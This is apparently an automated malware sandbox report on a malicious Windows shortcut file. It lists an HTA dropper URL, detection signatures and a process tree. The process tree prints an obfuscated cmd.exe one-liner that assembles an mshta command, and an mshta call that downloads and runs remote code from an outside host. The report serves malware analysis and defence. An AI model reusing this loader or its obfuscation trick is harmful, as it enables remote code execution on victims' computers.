Analysis

  • max time kernel
    148s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:21

General

  • Target
    DOC-4AAMID.lnk
  • Size 2KB
  • Sample260804-j9gcbaar2x
  • SHA256 8ffc29e0144a150041311ee533ac832f5a05a6548fac5902595514dbd630da23
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-4AAMID.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4132
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D/V:on/C"set XGEg=y46mshx&&set ca=rt35&&set Cd=o4alr6&&set CTi=tmpomwuzkeqffwwprttehtmp&&set bSwt=cachemozxphtocache&&set vqxvh=cachetyxwyohecache&&set hBIZL=datsqvqkgjqofdat&&set Lt=syspkbnrqzjethsys&&set np=tmppfxztmp&&set WcDOb=oldvrqtwtvushdohvyold&&set ZuO=cfgzhqitruezocfg&&set IrC=infgjiviswsinf&&set eS=baktysqywnwuojsiuyobak&&set Eu=c65stge&&set DMoq=kxary4&&set fita=o0xt9&&set YQxMG=h@ttps@:@/@/ma-pdf@f@il@[email protected]/h/@estag@[email protected]@?r=@3@9@146@9F@B@5D82D@B&&start /b !XGEg:~3,3!!ca:~1,1!!Cd:~2,1! !YQxMG:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2884
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:4196

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads